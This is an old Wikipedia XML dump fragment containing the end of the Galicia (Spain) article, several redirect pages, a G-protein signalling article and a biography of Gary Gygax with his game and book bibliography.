* [[Día das Letras Galegas]] (&quot;Galician Literature Day&quot;) on [[May 17]]
* [[Día da Pátria Galega]] (Galicia&amp;rsquo; Day) on [[July 25]]
{{listdev}}

==Political Parties==
* [[Galician People's Party|Partido Popular Galego]] (PPdeG) - Galician People's Party
* [[Socialist Party of Galicia|Partido Socialista de Galicia]]-[[Spanish Socialist Workers' Party|PSOE]] (PSdeG-PSOE) - Socialist Party of Galicia-Spanish Socialist Workers' Party
* [[Bloque Nacionalista Galego]] (BNG) - Galician Nationalist Bloc
* [[Esquerda Unida]]-[[United Left (Spain)|Izquierda Unida]] (EU-IU) - United Left

==See also==
*[[Galician music]]
*[http://www.catoira.net Viking Festival]

==External links==
*[http://www.zeal.com/category/preview.jhtml?cid=10240506 Profiles of relevant English-language websites]

{{Template:Galician_cities}}

{{Spain}}

[[Category:Galicia (Spain)|*]]
[[Category:NUTS 2 Statistical Regions of Europe]]

[[ar:منطقة جليقية الذاتية الحكم]]
[[an:Galizia]]
[[ast:Galicia]]
[[bg:Галисия]]
[[ca:Galícia]]
[[cs:Galicie]]
[[cy:Galicia]]
[[de:Galicien]]
[[et:Galicia]]
[[es:Galicia]]
[[eo:Galegio]]
[[eu:Galizia]]
[[fa:گالیسیا]]
[[fr:Galice]]
[[gl:Galicia]]
[[ko:갈리시아 지방]]
[[hr:Galicija, Španjolska]]
[[ia:Gallecia]]
[[it:Galizia]]
[[kw:Galisi]]
[[hu:Galícia tartomány]]
[[mi:Karihia]]
[[nl:Galicië (Spanje)]]
[[ja:ガリシア]]
[[no:Galicia (Spania)]]
[[pl:Galicia]]
[[pt:Galiza]]
[[ro:Galicia]]
[[fi:Galicia]]
[[sv:Galicien]]
[[tl:Galiza]]
[[zh:加里西亚]]</text>
    </revision>
  </page>
  <page>
    <title>Gaelic languages</title>
    <id>12838</id>
    <revision>
      <id>19847499</id>
      <timestamp>2005-07-29T11:34:39Z</timestamp>
      <contributor>
        <username>Angr</username>
        <id>157842</id>
      </contributor>
      <minor />
      <comment>REDIRECT [[Goidelic languages]]</comment>
      <text xml:space="preserve">#REDIRECT [[Goidelic languages]]</text>
    </revision>
  </page>
  <page>
    <title>Gregory Rasputin</title>
    <id>12840</id>
    <revision>
      <id>15910497</id>
      <timestamp>2002-08-23T16:11:29Z</timestamp>
      <contributor>
        <username>Gianfranco</username>
        <id>918</id>
      </contributor>
      <comment>#REDIRECT [[Grigori Rasputin]]</comment>
      <text xml:space="preserve">#REDIRECT [[Grigori Rasputin]]</text>
    </revision>
  </page>
  <page>
    <title>G protein</title>
    <id>12841</id>
    <revision>
      <id>36823654</id>
      <timestamp>2006-01-26T18:51:27Z</timestamp>
      <contributor>
        <ip>63.135.27.214</ip>
      </contributor>
      <text xml:space="preserve">'''G-proteins,''' short for '''guanine nucleotide binding proteins,''' are a family of [[protein]]s involved in [[second messenger]] cascades.  They are so called because of their signaling mechanism, which uses the exchange of [[guanosine diphosphate]] (GDP) for [[guanosine triphosphate]] (GTP) as a molecular &quot;switch&quot; to allow or inhibit [[biochemistry|biochemical]] reactions inside the [[cell (biology)|cell]]. [[Alfred Gilman]] and [[Martin Rodbell]] were awarded the [[Nobel Prize in Physiology or Medicine]] in [[1994]] for their discovery and research on G-proteins. 

[[Image:G-Protein.png|thumb|3D structure of a heterotrimeric G-protein]]
==General properties==

G-proteins belong to the larger grouping of [[GTPase]]s. &quot;G-protein&quot; usually refers to the membrane-associated heterotrimeric G-proteins, sometimes referred to as the ''&quot;large&quot; G-proteins''. These proteins are activated by [[G-protein coupled receptor]]s and are made up of alpha (&amp;alpha;), beta (&amp;beta;) and gamma (&amp;gamma;) [[subunit]]s. There are also ''&quot;small&quot; G proteins'' or [[small GTPase]]s like [[ras]] that are monomeric and not membrane-associated, but also bind GTP and GDP and are involved in [[signal transduction]].

G-proteins are perhaps the most important signal transducing molecules in cells. In fact, diseases such as [[diabetes]], [[alcoholism]], and certain forms of pituitary [[cancer]], among many others, are thought to have some root in the malfunction of G-proteins, and thus a fundamental understanding of their function, signaling pathways, and protein interactions may lead to eventual treatments and possibly the creation of various preventive approaches.

==Receptor-activated G-proteins==

[[G_protein-coupled_receptor|Receptor]] activated G-proteins are bound to the inside surface of the [[cell membrane]]. They consist of the G&lt;sub&gt;&amp;alpha;&lt;/sub&gt; and the tightly associated G&lt;sub&gt;&amp;beta;&amp;gamma;&lt;/sub&gt; subunits. When a [[ligand]] activates the [[G-protein coupled receptor]], the G-protein binds to the receptor, releases its bound GDP from the G&lt;sub&gt;&amp;alpha;&lt;/sub&gt; subunit, and binds a new molecule of [[GTP]]. This exchange triggers the dissociation of the G&lt;sub&gt;&amp;alpha;&lt;/sub&gt; subunit, the G&lt;sub&gt;&amp;beta;&amp;gamma;&lt;/sub&gt; dimer, and the receptor. Both, G&lt;sub&gt;&amp;alpha;&lt;/sub&gt;-GTP and G&lt;sub&gt;&amp;beta;&amp;gamma;&lt;/sub&gt;, can then activate different 'signalling cascades' (or 'second messenger pathways') and effector proteins, while the receptor is able to activate the next G-protein. The G&lt;sub&gt;&amp;alpha;&lt;/sub&gt; subunit will eventually [[Hydrolysis|hydrolize]] the attached GTP to GDP by its inherent [[enzyme|enzymatic]] activity, allowing it to reassociate with G&lt;sub&gt;&amp;beta;&amp;gamma;&lt;/sub&gt; and starting a new cycle.

A well characterized example of a G-protein triggered signalling cascade is the cAMP pathway. The enzyme [[adenylate cyclase]] is activated by G&lt;sub&gt;&amp;alpha;s&lt;/sub&gt;-GTP and synthesizes the second messenger [[cyclic adenosine monophosphate]] (cAMP) from [[adenosine triphosphate|ATP]]. Second messengers then interact with other proteins downstream to cause a change in cell behavior.

===Alpha subunits===
G&lt;sub&gt;&amp;alpha;&lt;/sub&gt; subunits consist of two domains, the GTPase domain, and the [[Alpha_helix|alpha-helical]] domain. There exist at least 20 different alpha subunits, which are separated into several main families:
*G&lt;sub&gt;&amp;alpha;s&lt;/sub&gt; or simply G&lt;sub&gt;s&lt;/sub&gt; (stimulatory) - activates adenylate cyclase to increase cAMP synthesis
*G&lt;sub&gt;&amp;alpha;i&lt;/sub&gt; or simply G&lt;sub&gt;i&lt;/sub&gt; (inhibitory) - inhibits adenylate cyclase
*G&lt;sub&gt;olf&lt;/sub&gt; (olfactory) - couples to [[olfactory receptor]]s
*G&lt;sub&gt;t&lt;/sub&gt; ([[transducin]]) - transduces visual signals in conjunction with [[rhodopsin]] in the [[retina]]
*G&lt;sub&gt;q&lt;/sub&gt; - stimulates [[phospholipase]] C
*The G&lt;sub&gt;12/13&lt;/sub&gt; family - important for regulating the [[cytoskeleton]], cell junctions, and other processes related to movements

===Beta-gamma complex===
The &amp;beta; and &amp;gamma; subunits are closely bound to one another and are referred to as the ''beta-gamma complex''.  The G&lt;sub&gt;&amp;beta;&amp;gamma;&lt;/sub&gt; complex is released from the G&lt;sub&gt;&amp;alpha;&lt;/sub&gt; subunit after its GDP-GTP exchange. The free G&lt;sub&gt;&amp;beta;&amp;gamma;&lt;/sub&gt; complex can act as a signaling molecule itself, by activating other second messengers or by gating [[ion channel]]s directly.  For example, the G&lt;sub&gt;&amp;beta;&amp;gamma;&lt;/sub&gt; complex, when bound to [[histamine]] receptors, can activate [[phospholipase]] A&lt;sub&gt;2&lt;/sub&gt;. G&lt;sub&gt;&amp;beta;&amp;gamma;&lt;/sub&gt; complexes bound to [[muscarine|muscarinic]] [[acetylcholine]] receptors, on the other hand, directly open G-protein coupled inward rectifying [[potassium]] (GIRK) channels.



==References==
* [[Eric R. Kandel|Kandel ER]], Schwartz JH, Jessell TM. ''[[Principles of Neural Science]]'', 4th ed. McGraw-Hill, New York (2000). ISBN 0838577016
*Lodish et al.  2000.  ''Molecular Cell Biology'' 4th ed.  W.H. Freeman and Company, New York.
* Voet, Donald and Judith G. Voet. 1995. ''Biochemistry'' 2nd ed. John Wilely &amp; Sons, New York.

[[Category:G proteins|*]]
[[Category:Membrane biology]]

[[de:G-Protein]]
[[fr:Protéine G]]
[[he:חלבון G]]
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[[ja:Gタンパク質]]</text>
    </revision>
  </page>
  <page>
    <title>Grigory Efimovich Rasputin</title>
    <id>12842</id>
    <revision>
      <id>15910499</id>
      <timestamp>2002-06-10T14:06:04Z</timestamp>
      <contributor>
        <ip>210.49.193.178</ip>
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      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Grigori Rasputin]]
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    <title>Grooved Ware People</title>
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      <id>15910502</id>
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      <contributor>
        <username>Maveric149</username>
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      </contributor>
      <comment>#REDIRECT [[grooved ware people]]</comment>
      <text xml:space="preserve">#REDIRECT [[grooved ware people]]</text>
    </revision>
  </page>
  <page>
    <title>Gary Gygax</title>
    <id>12848</id>
    <revision>
      <id>41917645</id>
      <timestamp>2006-03-02T16:36:44Z</timestamp>
      <contributor>
        <ip>152.1.173.87</ip>
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      <text xml:space="preserve">[[Image:GaryGygax2.jpg|frame|Ernest Gary Gygax, 2004]]
&lt;!-- Gary Gygax claims to be author of D&amp;D and references, Different Worlds #3 --&gt;
'''Ernest Gary Gygax''' (born [[July 27]] [[1938]] in [[Chicago, Illinois]], son of a Swiss immigrant father and an American mother ) is best known as the author of the well known fantasy [[role-playing game]] ''[[Dungeons &amp; Dragons]]'' (''D&amp;amp;D''),  co-created  with [[Dave Arneson]] and co-published with [[Don Kaye]] in [[1974]] under the company [[TSR, Inc.|Tactical Studies Rules]].

==Biography==
[[Image:CNExpo 2005 006 Gary signing...EGADS! a 3.5E PHB!.JPG|thumb|220px|Toronto Expo, 2005]]
[[Image:CNExpo 2005 020 Finishing LA Thanks Gary!.JPG|thumb|220px|Toronto Expo, 2005]]

His gaming experiences began at the age of five and six with playing [[pinochle]] and [[chess]] as well as early developments of what is now considered to be [[live action role-playing]] together with [[Jim Rasch]] as [[referee]]/[[game master]], [[John Rasch]] and [[Don Kaye]] as fellow participants. At about the same time Gary began educating himself in [[Science Fiction|Sci-Fi]] novels with [[Ray Bradbury]]'s  ''The Veldt'' in Bluebook and [[Robert E. Howard]]’s ''Conan the Conqueror''.

&lt;blockquote&gt;&quot;I've been reading fantasy since 1950.&quot; &lt;ref name=&quot;gamespy&quot;&gt;[http://pc.gamespy.com/articles/538/538817p1.html Gamespy interview with Gary Gygax Interview]&quot;, interview by Allen Rausch (URL accessed on [[January 3]], [[2005]])&lt;/ref&gt;&lt;/blockquote&gt;

It was in [[1953]] that Gary Gygax first started playing [[Miniature wargaming|miniature war games]] with Don Kaye.

The game ''[[Gettysburg (game)|Gettysburg]]'' from the [[Avalon Hill]] company captured Gygax's attention. It was from the same company that he placed an order for the first blank hexagon mapping sheets that were available. He was also looking for new ways to generate random numbers. [[Platonic solid|Platonic Solids]] would be his new dice. 

In [[1966]], the ''International Federation of Wargamers'' would be created by Gary Gygax and others.&lt;ref name=&quot;history&quot;&gt;&quot;&lt;cite&gt;1966 * International Federation of Wargamers formed by Gary Gygax and other wargamers.&lt;/cite&gt;&quot; [http://www.wizards.com/dnd/DnDArchives_History.asp The History of TSR], [[Wizards of the Coast]] (URL accessed on August 20, 2005)&lt;/ref&gt;

In [[1967]], a 20-person gaming-get-together was organized by Gary Gygax at his home including the basement sand table. This was later called &quot;''Gen Con 0''&quot; as it led to the start of the annual [[Gen Con]] [[gaming convention]] the following year, which is now the world's largest and longest-running annual hobby-game gathering. {{mn|GaryLONGBio|1}} Gen Con is also where Gary Gygax would meet [[Brian Blume]] and Dave Arneson. Brian Blume would later enter into TSR as partner with Don Kaye and Gary.

&lt;blockquote&gt;&quot;I'm very fond of the Medieval period, the Dark Ages in particular. We started playing in the period because I had found appropriate miniatures. I started devising rules where what the plastic figure was wearing was what he had. If he had a shield and no armor, then he just has a shield. Shields and half-armor = half-armor rules; full-armor figure = full armor rules. I did rules for weapons as well.&quot; &lt;ref name=&quot;gamespy&quot;/&gt;&lt;/blockquote&gt;

Gygax and Jeff Perren wrote ''[[Chainmail (game)|Chainmail]]'', a [[Miniature wargaming|miniature wargame]] from which ''D&amp;D'' was developed, in [[1969]]. &lt;ref name=&quot;history&quot;/&gt;

Together with Don Kaye, Mike Reese and Leon Tucker, a military miniatures society would be created under the name ''Lake Geneva Tactical Studies Association'' (LGTSA) which at the time also met in Gary's basement. &lt;ref name=&quot;longbio&quot;&gt;Gary Gygax, &quot;''LONG BIOGRAPHY of E(rnest) GARY GYGAX''&quot;, revision 6-05, ©2005&lt;/ref&gt;

Gygax and Kaye founded the publishing company [[TSR, Inc.|Tactical Studies Rules]] (TSR) and published the first version of ''D&amp;amp;D'' in [[1974]]. For the spell systems, Gygax would be inspired by [[Jack Vance]], but also draw upon such renowned fantasy authors as [[Robert E. Howard]], [[L. Sprague de Camp]] and [[Fritz Leiber]]. The hand assembled print run of 1000 copies would sell out in nine months. &lt;ref name=&quot;longbio&quot;/&gt; In the same year, Gary Gygax hired Tim Kask to help make the transition of ''The Strategic Review'' (progenitor of DRAGON magazine) to the fantasy periodical today known as [[Dragon (magazine)|Dragon Magazine]] with Gary Gygax as author and later as columnist. &lt;ref name=&quot;longbio&quot;/&gt;

After the death of Kaye in 1976, his widow sold her shares to Gygax. Gygax then controlling the whole partnership Tactical Studies Rules created ''[[TSR, Inc.|TSR Hobbies, Inc]]''. He sold it soon after to Brian Blume and his father Kevin because of money problems. The Blume family owned roughly two-thirds of TSR Hobbies by late 1976. 

[[TSR, Inc.|Tactical Studies Rules]] published the two first printings of the original ''D&amp;D'' and ''[[TSR, Inc.|TSR Hobbies, Inc]]'' went on with the game.

A few years later a new version of ''D&amp;D'' was created, ''[[Advanced Dungeons &amp; Dragons]]'' (AD&amp;D) (1977-9). &lt;ref name=&quot;gamespy&quot;/&gt; The ''[[Players Handbook|Player's Handbook]]'' would be the first rule book of the new system. The new rules were not compatible with D&amp;D.  As a result, the D&amp;D and AD&amp;D had distict product lines and expansions.

Gary Gygax left TSR in [[1985]] during changes in TSR's management. Problems arose while Gary was preoccupied with making the [[CBS]] cartoon series Dungeons and Dragons.

&lt;blockquote&gt;&quot;I was pretty much boxed out of the running of the company because the two guys, who between them had a controlling interest, thought they could run the company better than I could. I was set up because I could manage. In 1982 nobody on the West Coast would deal with TSR, but they had me start a new corporation called &quot;Dungeons and Dragons Entertainment.&quot; It took a long time and a lot of hard work to get to be recognized as someone who was for real and not just a civilian, shall we say, in entertainment. Eventually, though, we got the cartoon show going (on CBS) and I had a number of other projects in the works.&quot;

Gygax was President in title of the company but the Blumes were the real management. During this period TSR Hobbies's debt was around $15 million.

&quot;While I was out there, though, I heard that the company was in severe financial difficulties and one of the guys, the one I was partnered with, was shopping it on the street in New York. I came back and discovered a number of gross mismanagements in all areas of the company. The bank was foreclosing and we were a million and a half in debt. We eventually got that straightened out, but I kind of got one of my partners kicked out of office. (Kevin Blume, who was removed as TSR CEO in 1984 - ed.). Then my partners, in retribution for that, sold his shares to someone else (Lorraine Williams - ed.). I tried to block it in court, but in the ensuing legal struggle the judge ruled against me. I lost control of the company, and it was then at that point I just decided to sell out.&quot;&lt;ref name=&quot;gamespy&quot;/&gt;&lt;/blockquote&gt;

After leaving TSR Gary Gygax created ''[[Dangerous Journeys]]'', an advanced RPG spanning multiple genres containing almost every rule that Gary could think of. &lt;ref name=&quot;gamespy&quot;/&gt; He began work in [[1995]] on a major new RPG, originally intended for a computer game, but in [[1999]] released as ''[[Lejendary Adventure]]'' which some consider to be his best work to date. A key part of its design was to keep the gaming rules as simple as possible, as Gygax felt that role playing games were becoming too complex and discouraged new users.

He is now in semi-retirement, &lt;ref name=&quot;gamespy&quot;/&gt; having almost suffered a [[heart attack]] after receiving incorrect medication &lt;ref name=&quot;longbio&quot;/&gt; to prevent further [[Cerebrovascular accident|strokes]] after those on [[April 1]] and [[May 4]] [[2004]].  Although working hours declined gaming is still very much a part of Gary's life. Together with [[James M. Ward]], creator of the ''[[Metamorphosis Alpha]]'' and ''[[Gamma World]]'', Thursday night is RPG night. &lt;ref name=&quot;longbio&quot;/&gt;

&lt;blockquote&gt;&quot;I would like the world to remember me as the guy who really enjoyed playing games and sharing his knowledge and his fun pastimes with everybody else.&quot;&lt;ref name=&quot;gamespy&quot;/&gt;&lt;/blockquote&gt;

===Personal===
Gary Gygax married Gail Carpenter on [[August 15]], [[1987]], which was the same day as his own parents' 50th anniversary. As of [[2005]], he is father to six children and seven grandchildren as well. The first five, [[Ernest Gygax, Jr|Ernest G. Jr.]], [[Mary Elise Gygax|Mary Elise]], [[Heidi Jo Gygax|Heidi Jo]], [[Cindy Lee Gygax|Cindy Lee]] and [[Lucion Paul Gygax|Lucion Paul]] are from his first marriage. His latest, through his current marriage, is Alexander Hugh Hamilton Gygax born on [[October 2]], [[1986]]. His latest grandson is Jonathan To (pronounced toe, his father being Chinese-Vietnamese).&lt;ref name=&quot;longbio&quot;/&gt;

Gary describes his studio in his typical narrative fashion as, 
&lt;blockquote&gt;&quot;a small but sunny upper room—cluttered with books, magazines, papers, and who-knows-what else.  Right now, pending the redecorating of that room, I am lodged in the downstairs dining room at a long table that holds two computers and a scanner, with the printer hiding to one side below it. The radio there in the studio was usually tuned to a classical music station, but the station was sold, programming changed, so now I work sans music, or now and then with a CD playing through the computer.  While there are bookcases in the upper studio, elsewhere on the second floor, and on the first floor, the main repository of printed lore (other than that piled here and there) is my basement library which includes thousands of reference works, maps, magazines, and works of fiction.&quot; &lt;ref name=&quot;longbio&quot;/&gt;&lt;/blockquote&gt;

===Honorable Mention===
From [[1975]] to [[1994]], Gary Gygax received several awards related to gaming ... &lt;ref name=&quot;longbio&quot;/&gt;
*Strategists Club's, &quot;Outstanding Designer &amp; Writer&quot; &amp;ndash; for creating D&amp;D
*Origin Game Convention's, &quot;Adventure Gaming Hall of Fame&quot; 
*Origins Award, &quot;Academy of Adventure Gaming Arts &amp; Design Hall of Fame Honors&quot; (2004) 
*Four time winner of Games Day's, &quot;Best Games Inventor&quot; (1979-82).

Gary Gygax was tied with [[J. R. R. Tolkien|J.R.R.Tolkien]] for #18 on &quot;GameSpy's 30 Most Influential People in Gaming&quot; (Gamespy Magazine, March 2002)

As of [[March 13]], [[2003]], Gygax is listed under the entry ''Dungeons and Dragons'' in the Oxford English Dictionary.

A strain of bacteria has been named in honor of Gary Gygax, namely &quot;''Arthronema gygaxiana sp nov UTCC393''&quot; &lt;ref&gt;&quot;''Molecular and Morphological Characterization of Ten Polar and Near-Polar Strains within the Oscillatoriales'' (Cyanobacteria)&quot;, by Dale A. Casamatta, Jeffrey R. Johansen, Morgan L. Vis, and Sharon T. Broadwater, Journal of Psychology, 2005&lt;/ref&gt;

''Sync'' Magazine named Gary Gygax #1 on the list of &quot;The 50 biggest Nerds of All Time&quot;. &lt;ref&gt;Number 1: Gary Gyrax: &quot;&lt;cite&gt;Cocreator of Dungeons &amp; Dragons and father of role-playing games. &lt;br /&gt; Defining nerd moment: With a last name that sounds like a barbarian warrior from space, is it any wonder this guy invented the 20-sided die? Between 1977 and 1979, Gygax released Advanced Dungeons &amp; Dragons for advanced dorks, taking the cult phenomenon to new heights whilst giving himself a +5 salary of lordly might.&lt;/cite&gt;&quot; ''Sync'' Magazine, December/January 2004/05&lt;/ref&gt;

''SFX'' Magazine listed him as #37 on the list of the &quot;50 greatest [[Sci-Fi|SF]] pioneers&quot;. &lt;ref&gt;''SFX'' Magazine March (#128) 2005&lt;/ref&gt;

===Media Coverage===
Gary Gygax appeared on a ''[[Futurama (TV series)|Futurama]]'' episode, &quot;Anthology of Interest 1&quot; (aired in 2000), during which he rolled dice to decide on what greeting to give when introduced to Fry (&quot;It's a... *roll* ...pleasure to meet you.&quot;).  Later, he gives his &quot;mace +1&quot; to Fry to fight off the robots of the future. The episode ends with Gary [[Dungeon Master|dungeon mastering]] a Dungeons &amp; Dragons game with [[Philip J. Fry|Fry]], [[Al Gore]], [[Nichelle Nichols]], [[Steven Hawking]], and [[Deep Blue]]. His appearance along side Al Gore on Futurama was something of an inside joke since Gore's wife, [[Tipper Gore]], has been publicly critical of Dungeons &amp; Dragons. The Gores' daughter writes for the show.

He had a cameo appearance in the [[April 13]], [[2004]] strip of R. K. Milholland's on-line comic [[Something Positive]].  Gary is shown getting busted by the FBI for creating Dungeons &amp; Dragons and causing &quot;years and years of anti-social mayhem&quot;.

In an episode of ''[[Dexter's Laboratory]]'' (entitled D&amp;DeeDee), Dexter attempts to play a super-powerful character named Gygax with a soul-stealing sword, but ends up with [[Frodo Baggins|Hodo the Furry-Footed Burrower]] instead. 

His name has twice been an answer in the board game [[Trivial Pursuit]].

Mentioned in magazines and newspapers too abundant to list here. {{mn|GaryLONGBio|1}}

==Job Titles==
*1970-73 – Editor-in-Chief, Guidon Games (publisher of Wargaming rules and wargames)
*1973-83 – Partner of TSR and then President of TSR Hobbies, Inc.
*1983-85 – President, DUNGEONS &amp; DRAGONS Entertainment Corporation
:::Co-Producer, [[Dungeons &amp; Dragons (TV series)|DUNGEONS &amp; DRAGONS Animated Television Show]] 
*1983-85 – Chairman of the Board of Directors and President (1985 only) of TSR, Inc.  
*1986-88 – Chairman of the Board of Directors, New Infinities Productions, Inc.
*1988-94 – Creator/author under contract to Omega Helios Limited	
*1995-... – Creator/author under contract to Trigee Enterprises Corporation
*1999-... – Partner, Hekaforge Productions

==Role-Playing Games==
''[[Boot Hill (role-playing game)|Boot Hill]]'' - role-playing elements in the Wild West, with Brian Blume, 1975
[[Image:D&amp;d_original.jpg|thumb|200px|right|Dungeons &amp; Dragons Basic Set]]
===Dungeons &amp; Dragons===
(see also [[Dungeons &amp; Dragons]])
*Supplements:
**''Greyhawk'' (with Rob Kuntz)
**''Eldritch Wizardry'' (with Brian Blume)
**''Swords &amp; Spells''
*Accessories:
**''The Book of Marvelous Magic'' (with Frank Mentzer)
*Adventures:
**''[[The Keep on the Borderlands|B2 The Keep on the Borderlands]]''

===Advanced Dungeons &amp; Dragons===
(see also [[Dungeons &amp; Dragons]])
*Rule books:
**''[[Players Handbook|Player's Handbook]]''
**''[[Dungeon Master's Guide]]''
**''[[Monster Manual]]''
**''[[Monster Manual|Monster Manual II]]'' 
*Supplements:
**''Unearthed Arcana''
**''Oriental Adventures'' (with Dave Cook &amp; Francois Froideval)
*Accessories:
**''Dungeon Geomorphs'' (3 sets)
**''Outdoor Geomorphs''
**''Monster &amp; Treasure Assortments'' (3 sets)
[[Image:S1ModuleCover.jpg|thumb|200px|right|S1 Tomb of Horrors]]
*Adventures:
**''[[Descent into the Depths of the Earth|D1 – Descent Into the Depths of the Earth]]''
**''D2	Shrine of the Kuo-Toa''
**''[[Vault of the Drow|D3 Vault of the Drow]]''
**''[[Dungeonland|EX1	Dungeonland]]''
**''[[The Land Beyond the Magic Mirror|EX2 – The Land Beyond the Magic Mirror]]''
**''G1	Steading of the Hill Giant Chief''
**''G2	Glacial Rift of the Frost Giant Jarl''
**''G3	Hall of the Fire Giant King''
**''[[Queen of the Demonweb Pits|Q1 – Queen of the Demonweb Pits]]'' (with Dave Sutherland)
**''[[Tomb of Horrors|S1 – Tomb of Horrors]]''
**''[[Expedition to the Barrier Peaks|S3 – Expedition to the Barrier Peaks]]''
**''S4	The Lost Caverns of Tsojcanth''
**''T1	The Village of Hommlet''
**''[[The Temple of Elemental Evil|T1-4 – The Temple of Elemental Evil]]'' (with Frank Mentzer)
**''WG4	The Forgotten Temple of Tharizdun''
**''WG5	Mordenkainen's Fantastic Adventure'' (with Rob Kuntz)
**''WG6	Isle of the Ape''

===Dangerous Journeys===
(see also [[Dangerous Journeys]])
* ''Mythus'' – (with Dave Newton), Game Designers Workshop, 1992
* ''Mythus Magick'' – Book II of the MYTHUS Game (with Dave Newton), GDW, 1992
* ''Epic of Ærth'' – Companion Volume to the MYTHUS Game, GDW, 1992
* ''Necropolis'' – Adventure Scenario, GDW, 1993
* ''Mythus Bestiary, Ærth Animalia'' – (with Dave &amp; Michele Newton), GDW, 1993
* ''Changeling'' – Weird Science Fantasy Role-Playing Game, published in part in ''Mythic Masters'' Magazine (see [[#Periodicals|Periodicals]])

===Lejendary Adventures===
(see also ''[[Lejendary Adventure]]'')
*Rule books:
**''LEJENDARY RULES FOR ALL PLAYERS'' - [[Hekaforge Productions]], 1999
**''LEJEND MASTER’S LORE'' - Hekaforge Productions, 2000
**''BEASTS OF LEJEND'' - Hekaforge Productions, 2000
*World Setting sourcebooks:
**''LEJENDARY EARTH GAZETTEER'' - Part 1, Hekaforge Productions, 2002
**''Noble Kings &amp; Dark Lands'' - Part 2, (with Chris Clark) Hekaforge Productions, 2003
**''The Mysterious Realms of Hazgar'' &amp;ndash; Part 3, (with Chris Clark) Hekaforge Productions, 2005
*Adventures:
**''Living the Lejend'' - Campaign Setting &amp; Expansion for the LA Essentials Boxed Set, [[Troll Lord Games]] (2005)
**''Forlorn Corners'' - included serially as a part of the Author’s and Collector’s Editions of the three core rules noted above (1999-2000)
**''Hall of Many Panes'' – Module Boxed Set with D20 stats included, Troll Lord Games 2005
*''LEJENDARY ADVENTURE ESSENTIALS'' - Primer Boxed Set for the LA RPG, Troll Lord Games, 2005

===Castles &amp; Crusades===
For ''[[Castles &amp; Crusades]]'', the Castle Zagyg series is a planned series of seven sourcebooks based on Gygax's original campaign. For [[copyright]] reasons they are not published under the name of [[Greyhawk]].
* ''Castle Zagyg, Vol. 1: Yggsburgh'' Troll Lord Games, 2005 (ISBN 1-931275-68-8)

===Generic d20 System===
(see also [[d20 System]] &amp; [[Open Game License]])
* ''A Challenge of Arms'' - (Chris Clark with Gary Gygax) generic adventure module, [[Inner City Game Designs]], 1999
* ''Ritual of the Golden Eyes'' - (Chris Clark with Gary Gygax) generic adventure module, Inner City Game Designs, 2000
* ''The Weyland Smith Catalog'' - (&quot;Joke&quot; Magic Items), short version, Hekaforge Productions, 1999
* ''Gygaxian Fantasy Worlds'' Series from Troll Lord Games. Volumes IV, V, VI are edited by Gygax.

** Volume I ''Gary Gygax’s The Canting Crew'', explores the underworld of city life, &quot;Gygaxian Fantasy Worlds, Volume II&quot;
** Volume II ''Gary Gygax’s World Builder'', a collection of organized definitions, lists, tables and charts, (with Dan Cross) – 2003
** Volume III ''Gary Gygax’s Living Fantasy'', Everyday Life, –  2003
** Volume IV ''Gary Gygax’s Book of Names'' by [[Malcolm Bowers]] 
** Volume V ''Gary Gygax’s Insidiae'' by [[Dan Cross]] 2004
** Volume VI ''Gary Gygax’s Nation Builder'', by [[Michael J. Varhola]] –  2005

==Non-RPG Games==
===Rules for Miniatures/Table Top Battle Games===
*''Cavaliers &amp; Roundheads'' (English Civil War, with Jeff Perren)
*''Chainmail'' (Medieval, with Jeff Perren)
*''Chainmail'' Man-to-Man, Jousting, and Fantasy Supplement
*''Classic Warfare'' (Ancient Period: 1500 BC to 500 AD)
*''Don't Give Up the Ship'' (Sailing Ship Battles c. 1700 to 1815, with Dave Arneson &amp; Mike Carr)
*''Tractics'' (WWII to c. 1965, with Mike Reese &amp; Leon Tucker)
*Foreword to the 2004 [[Skirmisher Publishing LLC]] edition of H.G. Wells' ''[[Little Wars]]''

===Board Games===
*''Alexander the Great'' (Ancient, the Battle of Arbela) &amp;ndash; Guidon Games
*''Alexander’s Other Battles'' &amp;ndash; Panzerfaust Publishing, 1972 – a Supplementary Kit For The Guidon Game ''Alexander the Great''
*''Alexander the Great'' (Ancient, the Battle of Arbela) – The Avalon Hill Company
*''Baku'' (WW II, Extension of The Avalon Hill Company’s Stalingrad board wargame), Panzerfaust Publications
*''Crusader'' (Medieval, Battle of Ascalon) – Panzerfaust Publications
*''Dunkirk'' (World War II) – Guidon Games
*''Little Big Horn'' (Western) – TSR Hobbies, Inc.

===Chess Variants===
*Another of Gary Gygax's creations was [[Dragon chess]], a three-dimensional fantasy [[chess variant]], published in ''Dragon Magazine'' #100 (August 1985). It is played on three 8x12 boards stacked on top of each other - the top board represents the sky, the middle is the ground, and the bottom is the [[underworld]]. The pieces are characters and monsters inspired by the Dungeons and Dragons setting: King, Mage, Paladin, Cleric, Dragon, Griffin, Oliphant, Hero, Thief, Elemental, Basilisk, Unicorn, Dwarf, Sylph and Warrior.
*[[Fidchell (gygax)|Fidchell]] &lt;ref&gt;[http://www.chessvariants.org/large.dir/fidchell.html Fidchell], The Chess Variant Pages, accessed August 19th, 2005&lt;/ref&gt; – Not to be confused with the historic board game of [[fidchell]] (various spellings) from [[Ireland]].


==Literature==
===Fantasy Novels===
*[[Greyhawk]] Adventures Series of Novels (from [[TSR, Inc.]], featuring Gord the Rogue)
**''Saga of Old City'' (1985)
**''Artifact of Evil'' (1986)

*[[Gord the Rogue]] Adventures (from New Infinities Productions, Inc., also published in Italian)
**''Sea of Death'' (1987)
**''Night Arrant'' (1987) – a collection of short stories
**''City of Hawks'' (1987)
**''Come Endless Darkness'' (1988)
**''Dance of Demons'' (1988)

* released under publisher [[Penguin Books|Penguin/Roc]]
**''The Anubis Murders'' (1992)
**''The Samarkand Solution'' (1993)
**''Death in Delhi'' (1993)

===Misc Books &amp; Short Stories===
*''Sagard the Barbarian Books'' (HEROES CHALLENGE Gamebook Series, co-author Flint Dille (with assistance from Ernie Gygax) - from Archway/Pocket books):
::''The Ice Dragon''
::''The Green Hydra''
::''The Crimson Sea''
::''The Fire Demon''
*''Role-Playing Mastery'' - instructional book, Perigee/Putnam (trade paperback bestseller)
*''Master of the Game'' - sequel to Role-Playing Mastery from Perigee/Putnam 
*&quot;''At Moonset Blackcat Comes''&quot; (Fantasy short story featuring Gord the Rogue appearing in Dragon Magazine #100)
*&quot;''Pay Tribute''&quot; (Science Fiction short story in The Fleet anthology)
*&quot;''Battle off Deadstar''&quot; (Science Fiction short story in Fleet Breakthrough anthology)
*&quot;''Celebration of Celene''&quot; (Fantasy short story published in Michael Moorcock’s Elric, Tales of the White Wolf anthology) - [[White Wolf, Inc.]], 1994 
